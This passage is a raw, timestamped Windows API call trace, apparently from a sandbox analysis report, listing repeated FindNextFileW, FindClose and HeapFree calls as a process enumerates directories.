(in: hFindFile=0x7ebaa8, lpFindFileData=0x2edf08c | out: lpFindFileData=0x2edf08c) returned 1 [0197.713] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4331428 | out: hHeap=0x790000) returned 1 [0197.713] FindNextFileW (in: hFindFile=0x7ebaa8, lpFindFileData=0x2edf08c | out: lpFindFileData=0x2edf08c) returned 1 [0197.713] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4331428 | out: hHeap=0x790000) returned 1 [0197.713] FindNextFileW (in: hFindFile=0x7ebaa8, lpFindFileData=0x2edf08c | out: lpFindFileData=0x2edf08c) returned 1 [0197.713] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4331428 | out: hHeap=0x790000) returned 1 [0197.713] FindNextFileW (in: hFindFile=0x7ebaa8, lpFindFileData=0x2edf08c | out: lpFindFileData=0x2edf08c) returned 1 [0197.713] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4331428 | out: hHeap=0x790000) returned 1 [0197.713] FindNextFileW (in: hFindFile=0x7ebaa8, lpFindFileData=0x2edf08c | out: lpFindFileData=0x2edf08c) returned 1 [0197.715] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4331428 | out: hHeap=0x790000) returned 1 [0197.715] FindNextFileW (in: hFindFile=0x7ebaa8, lpFindFileData=0x2edf08c | out: lpFindFileData=0x2edf08c) returned 1 [0197.715] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4311418 | out: hHeap=0x790000) returned 1 [0197.715] FindNextFileW (in: hFindFile=0x7a1fb0, lpFindFileData=0x2edf308 | out: lpFindFileData=0x2edf308) returned 1 [0197.715] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4311418 | out: hHeap=0x790000) returned 1 [0197.715] FindNextFileW (in: hFindFile=0x7a1fb0, lpFindFileData=0x2edf308 | out: lpFindFileData=0x2edf308) returned 1 [0197.716] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4311418 | out: hHeap=0x790000) returned 1 [0197.716] FindNextFileW (in: hFindFile=0x7a1fb0, lpFindFileData=0x2edf308 | out: lpFindFileData=0x2edf308) returned 1 [0197.716] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4311418 | out: hHeap=0x790000) returned 1 [0197.716] FindNextFileW (in: hFindFile=0x7a1fb0, lpFindFileData=0x2edf308 | out: lpFindFileData=0x2edf308) returned 1 [0197.716] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4311418 | out: hHeap=0x790000) returned 1 [0197.716] FindNextFileW (in: hFindFile=0x7a1fb0, lpFindFileData=0x2edf308 | out: lpFindFileData=0x2edf308) returned 1 [0197.774] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4311418 | out: hHeap=0x790000) returned 1 [0197.774] FindNextFileW (in: hFindFile=0x7a1fb0, lpFindFileData=0x2edf308 | out: lpFindFileData=0x2edf308) returned 1 [0197.774] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4311418 | out: hHeap=0x790000) returned 1 [0197.774] FindNextFileW (in: hFindFile=0x7a1fb0, lpFindFileData=0x2edf308 | out: lpFindFileData=0x2edf308) returned 1 [0197.775] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4311418 | out: hHeap=0x790000) returned 1 [0197.775] FindNextFileW (in: hFindFile=0x7a1fb0, lpFindFileData=0x2edf308 | out: lpFindFileData=0x2edf308) returned 1 [0197.779] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4311418 | out: hHeap=0x790000) returned 1 [0197.779] FindNextFileW (in: hFindFile=0x7a1fb0, lpFindFileData=0x2edf308 | out: lpFindFileData=0x2edf308) returned 1 [0197.779] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4311418 | out: hHeap=0x790000) returned 1 [0197.779] FindNextFileW (in: hFindFile=0x7a1fb0, lpFindFileData=0x2edf308 | out: lpFindFileData=0x2edf308) returned 1 [0197.779] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4311418 | out: hHeap=0x790000) returned 1 [0197.779] FindNextFileW (in: hFindFile=0x7a1fb0, lpFindFileData=0x2edf308 | out: lpFindFileData=0x2edf308) returned 1 [0197.780] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4311418 | out: hHeap=0x790000) returned 1 [0197.780] FindNextFileW (in: hFindFile=0x7a1fb0, lpFindFileData=0x2edf308 | out: lpFindFileData=0x2edf308) returned 1 [0197.782] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4311418 | out: hHeap=0x790000) returned 1 [0197.782] FindNextFileW (in: hFindFile=0x7a1fb0, lpFindFileData=0x2edf308 | out: lpFindFileData=0x2edf308) returned 1 [0197.782] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4311418 | out: hHeap=0x790000) returned 1 [0197.782] FindNextFileW (in: hFindFile=0x7a1fb0, lpFindFileData=0x2edf308 | out: lpFindFileData=0x2edf308) returned 1 [0197.782] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4311418 | out: hHeap=0x790000) returned 1 [0197.782] FindNextFileW (in: hFindFile=0x7a1fb0, lpFindFileData=0x2edf308 | out: lpFindFileData=0x2edf308) returned 1 [0197.782] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4311418 | out: hHeap=0x790000) returned 1 [0197.782] FindNextFileW (in: hFindFile=0x7a1fb0, lpFindFileData=0x2edf308 | out: lpFindFileData=0x2edf308) returned 1 [0197.784] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4311418 | out: hHeap=0x790000) returned 1 [0197.784] FindNextFileW (in: hFindFile=0x7a1fb0, lpFindFileData=0x2edf308 | out: lpFindFileData=0x2edf308) returned 1 [0197.784] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4311418 | out: hHeap=0x790000) returned 1 [0197.784] FindNextFileW (in: hFindFile=0x7a1fb0, lpFindFileData=0x2edf308 | out: lpFindFileData=0x2edf308) returned 1 [0197.784] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4311418 | out: hHeap=0x790000) returned 1 [0197.784] FindNextFileW (in: hFindFile=0x7a1fb0, lpFindFileData=0x2edf308 | out: lpFindFileData=0x2edf308) returned 1 [0197.784] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4311418 | out: hHeap=0x790000) returned 1 [0197.784] FindNextFileW (in: hFindFile=0x7a1fb0, lpFindFileData=0x2edf308 | out: lpFindFileData=0x2edf308) returned 1 [0197.786] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4311418 | out: hHeap=0x790000) returned 1 [0197.786] FindNextFileW (in: hFindFile=0x7a1fb0, lpFindFileData=0x2edf308 | out: lpFindFileData=0x2edf308) returned 1 [0197.786] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4311418 | out: hHeap=0x790000) returned 1 [0197.786] FindNextFileW (in: hFindFile=0x7a1fb0, lpFindFileData=0x2edf308 | out: lpFindFileData=0x2edf308) returned 1 [0197.787] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4311418 | out: hHeap=0x790000) returned 1 [0197.787] FindNextFileW (in: hFindFile=0x7a1fb0, lpFindFileData=0x2edf308 | out: lpFindFileData=0x2edf308) returned 1 [0197.787] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4311418 | out: hHeap=0x790000) returned 1 [0197.787] FindNextFileW (in: hFindFile=0x7a1fb0, lpFindFileData=0x2edf308 | out: lpFindFileData=0x2edf308) returned 1 [0197.789] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4311418 | out: hHeap=0x790000) returned 1 [0197.789] FindNextFileW (in: hFindFile=0x7a1fb0, lpFindFileData=0x2edf308 | out: lpFindFileData=0x2edf308) returned 1 [0197.789] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4311418 | out: hHeap=0x790000) returned 1 [0197.789] FindNextFileW (in: hFindFile=0x7a1fb0, lpFindFileData=0x2edf308 | out: lpFindFileData=0x2edf308) returned 1 [0197.789] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4311418 | out: hHeap=0x790000) returned 1 [0197.789] FindNextFileW (in: hFindFile=0x7a1fb0, lpFindFileData=0x2edf308 | out: lpFindFileData=0x2edf308) returned 0 [0197.789] FindClose (in: hFindFile=0x7a1fb0 | out: hFindFile=0x7a1fb0) returned 1 [0197.789] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4301410 | out: hHeap=0x790000) returned 1 [0197.790] FindNextFileW (in: hFindFile=0x7a1f70, lpFindFileData=0x2edf584 | out: lpFindFileData=0x2edf584) returned 1 [0197.791] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4301410 | out: hHeap=0x790000) returned 1 [0197.791] FindNextFileW (in: hFindFile=0x7ebce8, lpFindFileData=0x2edf308 | out: lpFindFileData=0x2edf308) returned 1 [0197.791] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4341430 | out: hHeap=0x790000) returned 1 [0197.793] FindNextFileW (in: hFindFile=0x7a1f70, lpFindFileData=0x2edf584 | out: lpFindFileData=0x2edf584) returned 1 [0198.032] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4301410 | out: hHeap=0x790000) returned 1 [0198.032] FindNextFileW (in: hFindFile=0x7ebba8, lpFindFileData=0x2edf308 | out: lpFindFileData=0x2edf308) returned 0 [0198.032] FindClose (in: hFindFile=0x7ebba8 | out: hFindFile=0x7ebba8) returned 1 [0198.032] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4341430 | out: hHeap=0x790000) returned 1 [0198.033] FindNextFileW (in: hFindFile=0x7a1f70, lpFindFileData=0x2edf584 | out: lpFindFileData=0x2edf584) returned 1 [0198.043] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4341430 | out: hHeap=0x790000) returned 1 [0198.043] FindNextFileW (in: hFindFile=0x7a1f70, lpFindFileData=0x2edf584 | out: lpFindFileData=0x2edf584) returned 1 [0198.044] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4341430 | out: hHeap=0x790000) returned 1 [0198.044] FindNextFileW (in: hFindFile=0x7a1f70, lpFindFileData=0x2edf584 | out: lpFindFileData=0x2edf584) returned 1 [0198.788] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4341430 | out: hHeap=0x790000) returned 1 [0198.788] FindNextFileW (in: hFindFile=0x7a1f70, lpFindFileData=0x2edf584 | out: lpFindFileData=0x2edf584) returned 1 [0198.788] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4301410 | out: hHeap=0x790000) returned 1 [0198.789] FindNextFileW (in: hFindFile=0x7ebc28, lpFindFileData=0x2edf308 | out: lpFindFileData=0x2edf308) returned 0 [0198.789] FindClose (in: hFindFile=0x7ebc28 | out: hFindFile=0x7ebc28) returned 1 [0198.789] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4341430 | out: hHeap=0x790000) returned 1 [0198.789] FindNextFileW (in: hFindFile=0x7a1f70, lpFindFileData=0x2edf584 | out: lpFindFileData=0x2edf584) returned 1 [0198.789] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4301410 | out: hHeap=0x790000) returned 1 [0198.789] FindNextFileW (in: hFindFile=0x7ebe68, lpFindFileData=0x2edf308 | out: lpFindFileData=0x2edf308) returned 0 [0198.789] FindClose (in: hFindFile=0x7ebe68 | out: hFindFile=0x7ebe68) returned 1 [0198.790] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4341430 | out: hHeap=0x790000) returned 1 [0198.790] FindNextFileW (in: hFindFile=0x7a1f70, lpFindFileData=0x2edf584 | out: lpFindFileData=0x2edf584) returned 1 [0198.868] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4341430 | out: hHeap=0x790000) returned 1 [0198.868] FindNextFileW (in: hFindFile=0x7a1f70, lpFindFileData=0x2edf584 | out: lpFindFileData=0x2edf584) returned 1 [0198.868] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4341430 | out: hHeap=0x790000) returned 1 [0198.868] FindNextFileW (in: hFindFile=0x7a1f70, lpFindFileData=0x2edf584 | out: lpFindFileData=0x2edf584) returned 1 [0199.035] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4321420 | out: hHeap=0x790000) returned 1 [0199.035] FindNextFileW (in: hFindFile=0x7ebd68, lpFindFileData=0x2edf08c | out: lpFindFileData=0x2edf08c) returned 1 [0199.035] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4311418 | out: hHeap=0x790000) returned 1 [0199.035] FindNextFileW (in: hFindFile=0x7ebce8, lpFindFileData=0x2edf308 | out: lpFindFileData=0x2edf308) returned 1 [0199.035] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4341430 | out: hHeap=0x790000) returned 1 [0199.035] FindNextFileW (in: hFindFile=0x7a1f70, lpFindFileData=0x2edf584 | out: lpFindFileData=0x2edf584) returned 0 [0199.035] FindClose (in: hFindFile=0x7a1f70 | out: hFindFile=0x7a1f70) returned 1 [0199.035] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42f1408 | out: hHeap=0x790000) returned 1 [0199.036] FindNextFileW (in: hFindFile=0x7a18f0, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 1 [0199.037] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42f1408 | out: hHeap=0x790000) returned 1 [0199.037] FindNextFileW (in: hFindFile=0x7a18f0, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 1 [0199.599] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4371440 | out: hHeap=0x790000) returned 1 [0199.599] FindNextFileW (in: hFindFile=0x7ebce8, lpFindFileData=0x2edf308 | out: lpFindFileData=0x2edf308) returned 1 [0199.600] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4341430 | out: hHeap=0x790000) returned 1 [0199.601] FindNextFileW (in: hFindFile=0x7ebb28, lpFindFileData=0x2edf584 | out: lpFindFileData=0x2edf584) returned 1 [0199.602] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4341430 | out: hHeap=0x790000) returned 1 [0199.602] FindNextFileW (in: hFindFile=0x7ebb28, lpFindFileData=0x2edf584 | out: lpFindFileData=0x2edf584) returned 1 [0199.830] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4371440 | out: hHeap=0x790000) returned 1 [0199.830] FindNextFileW (in: hFindFile=0x7ebb68, lpFindFileData=0x2edf308 | out: lpFindFileData=0x2edf308) returned 1 [0199.831] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4341430 | out: hHeap=0x790000) returned 1 [0199.831] FindNextFileW (in: hFindFile=0x7ebb28, lpFindFileData=0x2edf584 | out: lpFindFileData=0x2edf584) returned 1 [0200.188] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4311418 | out: hHeap=0x790000) returned 1 [0200.188] FindNextFileW (in: hFindFile=0x7eb768, lpFindFileData=0x2edf308 | out: lpFindFileData=0x2edf308) returned 1 [0200.189] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4341430 | out: hHeap=0x790000) returned 1 [0200.189] FindNextFileW (in: hFindFile=0x7ebb28, lpFindFileData=0x2edf584 | out: lpFindFileData=0x2edf584) returned 1 [0200.189] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42f1408 | out: hHeap=0x790000) returned 1 [0200.190] FindNextFileW (in: hFindFile=0x7a18f0, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 0 [0200.203] FindClose (in: hFindFile=0x7a18f0 | out: hFindFile=0x7a18f0) returned 1 [0200.204] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42d13f8 | out: hHeap=0x790000) returned 1 [0200.205] FindNextFileW (in: hFindFile=0x7a1d30, lpFindFileData=0x2edfa7c | out: lpFindFileData=0x2edfa7c) returned 1 [0200.207] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42c0058 | out: hHeap=0x790000) returned 1 [0200.207] FindNextFileW (in: hFindFile=0x7eb7e8, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 1 [0200.480] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42c0058 | out: hHeap=0x790000) returned 1 [0200.480] FindNextFileW (in: hFindFile=0x7eb7e8, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 1 [0200.480] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42c0058 | out: hHeap=0x790000) returned 1 [0200.480] FindNextFileW (in: hFindFile=0x7eb7e8, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 1 [0200.480] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4341430 | out: hHeap=0x790000) returned 1 [0200.480] FindNextFileW (in: hFindFile=0x7a1d30, lpFindFileData=0x2edfa7c | out: lpFindFileData=0x2edfa7c) returned 1 [0201.711] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4321408 | out: hHeap=0x790000) returned 1 [0201.711] FindNextFileW (in: hFindFile=0x7eb8e8, lpFindFileData=0x2edf308 | out: lpFindFileData=0x2edf308) returned 1 [0201.757] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4321408 | out: hHeap=0x790000) returned 1 [0201.757] FindNextFileW (in: hFindFile=0x7eb8e8, lpFindFileData=0x2edf308 | out: lpFindFileData=0x2edf308) returned 1 [0201.759] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4321408 | out: hHeap=0x790000) returned 1 [0201.759] FindNextFileW (in: hFindFile=0x7eb8e8, lpFindFileData=0x2edf308 | out: lpFindFileData=0x2edf308) returned 1 [0201.759] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4381448 | out: hHeap=0x790000) returned 1 [0201.760] FindNextFileW (in: hFindFile=0x7eb7e8, lpFindFileData=0x2edf584 | out: lpFindFileData=0x2edf584) returned 1 [0201.846] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4391450 | out: hHeap=0x790000) returned 1 [0201.846] FindNextFileW (in: hFindFile=0x7eb968, lpFindFileData=0x2edf308 | out: lpFindFileData=0x2edf308) returned 1 [0201.848] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4391450 | out: hHeap=0x790000) returned 1 [0201.848] FindNextFileW (in: hFindFile=0x7eb968, lpFindFileData=0x2edf308 | out: lpFindFileData=0x2edf308) returned 1 [0201.851] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4391450 | out: hHeap=0x790000) returned 1 [0201.851] FindNextFileW (in: hFindFile=0x7eb968, lpFindFileData=0x2edf308 | out: lpFindFileData=0x2edf308) returned 1 [0201.870] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4391450 | out: hHeap=0x790000) returned 1 [0201.870] FindNextFileW (in: hFindFile=0x7eb968, lpFindFileData=0x2edf308 | out: lpFindFileData=0x2edf308) returned 1 [0201.905] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4391450 | out: hHeap=0x790000) returned 1 [0201.905] FindNextFileW (in: hFindFile=0x7eb968, lpFindFileData=0x2edf308 | out: lpFindFileData=0x2edf308) returned 1 [0202.031] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4391450 | out: hHeap=0x790000) returned 1 [0202.032] FindNextFileW (in: hFindFile=0x7eb968, lpFindFileData=0x2edf308 | out: lpFindFileData=0x2edf308) returned 1 [0202.053] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x43a1458 | out: hHeap=0x790000) returned 1 [0202.053] FindNextFileW (in: hFindFile=0x7ebea8, lpFindFileData=0x2edf08c | out: lpFindFileData=0x2edf08c) returned 0 [0202.053] FindClose (in: hFindFile=0x7ebea8 | out: hFindFile=0x7ebea8) returned 1 [0202.053] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4391450 | out: hHeap=0x790000) returned 1 [0202.053] FindNextFileW (in: hFindFile=0x7eb968, lpFindFileData=0x2edf308 | out: lpFindFileData=0x2edf308) returned 1 [0202.054] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4391450 | out: hHeap=0x790000) returned 1 [0202.054] FindNextFileW (in: hFindFile=0x7eb968, lpFindFileData=0x2edf308 | out: lpFindFileData=0x2edf308) returned 1 [0202.156] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4391450 | out: hHeap=0x790000) returned 1 [0202.156] FindNextFileW (in: hFindFile=0x7eb968, lpFindFileData=0x2edf308 | out: lpFindFileData=0x2edf308) returned 1 [0202.339] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4391450 | out: hHeap=0x790000) returned 1 [0202.339] FindNextFileW (in: hFindFile=0x7eb968, lpFindFileData=0x2edf308 | out: lpFindFileData=0x2edf308) returned 1 [0202.339] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4381448 | out: hHeap=0x790000) returned 1 [0202.339] FindNextFileW (in: hFindFile=0x7eb7e8, lpFindFileData=0x2edf584 | out: lpFindFileData=0x2edf584) returned 1 [0202.340] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42c0058 | out: hHeap=0x790000) returned 1 [0202.341] FindNextFileW (in: hFindFile=0x7ebc28, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 1 [0202.341] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4341430 | out: hHeap=0x790000) returned 1 [0202.341] FindNextFileW (in: hFindFile=0x7a1d30, lpFindFileData=0x2edfa7c | out: lpFindFileData=0x2edfa7c) returned 1 [0202.564] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4381448 | out: hHeap=0x790000) returned 1 [0202.564] FindNextFileW (in: hFindFile=0x7ebc68, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 1 [0202.568] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4381448 | out: hHeap=0x790000) returned 1 [0202.568] FindNextFileW (in: hFindFile=0x7ebc68, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 1 [0202.626] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4391450 | out: hHeap=0x790000) returned 1 [0202.626] FindNextFileW (in: hFindFile=0x7eba68, lpFindFileData=0x2edf584 | out: lpFindFileData=0x2edf584) returned 1 [0203.613] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42d13f8 | out: hHeap=0x790000) returned 1 [0203.613] FindNextFileW (in: hFindFile=0x7ebb28, lpFindFileData=0x2edf308 | out: lpFindFileData=0x2edf308) returned 1 [0203.614] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4331410 | out: hHeap=0x790000) returned 1 [0203.614] FindNextFileW (in: hFindFile=0x7ebb68, lpFindFileData=0x2edf08c | out: lpFindFileData=0x2edf08c) returned 0 [0203.615] FindClose (in: hFindFile=0x7ebb68 | out: hFindFile=0x7ebb68) returned 1 [0203.615] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42d13f8 | out: hHeap=0x790000) returned 1 [0203.615] FindNextFileW (in: hFindFile=0x7ebb28, lpFindFileData=0x2edf308 | out: lpFindFileData=0x2edf308) returned 0 [0203.615] FindClose (in: hFindFile=0x7ebb28 | out: hFindFile=0x7ebb28) returned 1 [0203.615] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4391450 | out: hHeap=0x790000) returned 1 [0203.615] FindNextFileW (in: hFindFile=0x7eba68, lpFindFileData=0x2edf584 | out: lpFindFileData=0x2edf584) returned 1 [0203.617] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42d13f8 | out: hHeap=0x790000) returned 1 [0203.617] FindNextFileW (in: hFindFile=0x7eb968, lpFindFileData=0x2edf308 | out: lpFindFileData=0x2edf308) returned 1 [0203.881] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42d13f8 | out: hHeap=0x790000) returned 1 [0203.882] FindNextFileW (in: hFindFile=0x7eb968, lpFindFileData=0x2edf308 | out: lpFindFileData=0x2edf308) returned 1 [0203.886] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42d13f8 | out: hHeap=0x790000) returned 1 [0203.886] FindNextFileW (in: hFindFile=0x7eb968, lpFindFileData=0x2edf308 | out: lpFindFileData=0x2edf308) returned 1 [0203.886] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4391450 | out: hHeap=0x790000) returned 1 [0203.886] FindNextFileW (in: hFindFile=0x7eba68, lpFindFileData=0x2edf584 | out: lpFindFileData=0x2edf584) returned 1 [0203.888] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4391450 | out: hHeap=0x790000) returned 1 [0203.888] FindNextFileW (in: hFindFile=0x7eba68, lpFindFileData=0x2edf584 | out: lpFindFileData=0x2edf584) returned 1 [0204.039] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4391450 | out: hHeap=0x790000) returned 1 [0204.039] FindNextFileW (in: hFindFile=0x7eba68, lpFindFileData=0x2edf584 | out: lpFindFileData=0x2edf584) returned 1 [0204.041] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4391450 | out: hHeap=0x790000) returned 1 [0204.041] FindNextFileW (in: hFindFile=0x7eba68, lpFindFileData=0x2edf584 | out: lpFindFileData=0x2edf584) returned 1 [0204.635] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4391450 | out: hHeap=0x790000) returned 1 [0204.650] FindNextFileW (in: hFindFile=0x7eba68, lpFindFileData=0x2edf584 | out: lpFindFileData=0x2edf584) returned 1 [0204.651] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42d13f8 | out: hHeap=0x790000) returned 1 [0204.651] FindNextFileW (in: hFindFile=0x7eba68, lpFindFileData=0x2edf584 | out: lpFindFileData=0x2edf584) returned 1 [0204.815] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42e1400 | out: hHeap=0x790000) returned 1 [0204.815] FindNextFileW (in: hFindFile=0x7eb8a8, lpFindFileData=0x2edf308 | out: lpFindFileData=0x2edf308) returned 1 [0204.818] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42e1400 | out: hHeap=0x790000) returned 1 [0204.818] FindNextFileW (in: hFindFile=0x7eb8a8, lpFindFileData=0x2edf308 | out: lpFindFileData=0x2edf308) returned 1 [0204.819] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42e1400 | out: hHeap=0x790000) returned 1 [0204.819] FindNextFileW (in: hFindFile=0x7eb8a8, lpFindFileData=0x2edf308 | out: lpFindFileData=0x2edf308) returned 1 [0205.134] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42e1400 | out: hHeap=0x790000) returned 1 [0205.134] FindNextFileW (in: hFindFile=0x7eb8a8, lpFindFileData=0x2edf308 | out: lpFindFileData=0x2edf308) returned 0 [0205.135] FindClose (in: hFindFile=0x7eb8a8 | out: hFindFile=0x7eb8a8) returned 1 [0205.135] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42d13f8 | out: hHeap=0x790000) returned 1 [0205.135] FindNextFileW (in: hFindFile=0x7eba68, lpFindFileData=0x2edf584 | out: lpFindFileData=0x2edf584) returned 1 [0205.150] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4391450 | out: hHeap=0x790000) returned 1 [0205.150] FindNextFileW (in: hFindFile=0x7ebd28, lpFindFileData=0x2edf08c | out: lpFindFileData=0x2edf08c) returned 1 [0205.188] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4391450 | out: hHeap=0x790000) returned 1 [0205.188] FindNextFileW (in: hFindFile=0x7ebd28, lpFindFileData=0x2edf08c | out: lpFindFileData=0x2edf08c) returned 1 [0205.707] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4391450 | out: hHeap=0x790000) returned 1 [0205.707] FindNextFileW (in: hFindFile=0x7ebd28, lpFindFileData=0x2edf08c | out: lpFindFileData=0x2edf08c) returned 1 [0205.779] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4391450 | out: hHeap=0x790000) returned 1 [0205.779] FindNextFileW (in: hFindFile=0x7ebd28, lpFindFileData=0x2edf08c | out: lpFindFileData=0x2edf08c) returned 1 [0205.798] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4391450 | out: hHeap=0x790000) returned 1 [0205.798] FindNextFileW (in: hFindFile=0x7ebd28, lpFindFileData=0x2edf08c | out: lpFindFileData=0x2edf08c) returned 1 [0205.826] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42e1400 | out: hHeap=0x790000) returned 1 [0205.827] FindNextFileW (in: hFindFile=0x7eb768, lpFindFileData=0x2edf308 | out: lpFindFileData=0x2edf308) returned 1 [0205.829] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x43a1458 | out: hHeap=0x790000) returned 1 [0205.829] FindNextFileW (in: hFindFile=0x7eb768, 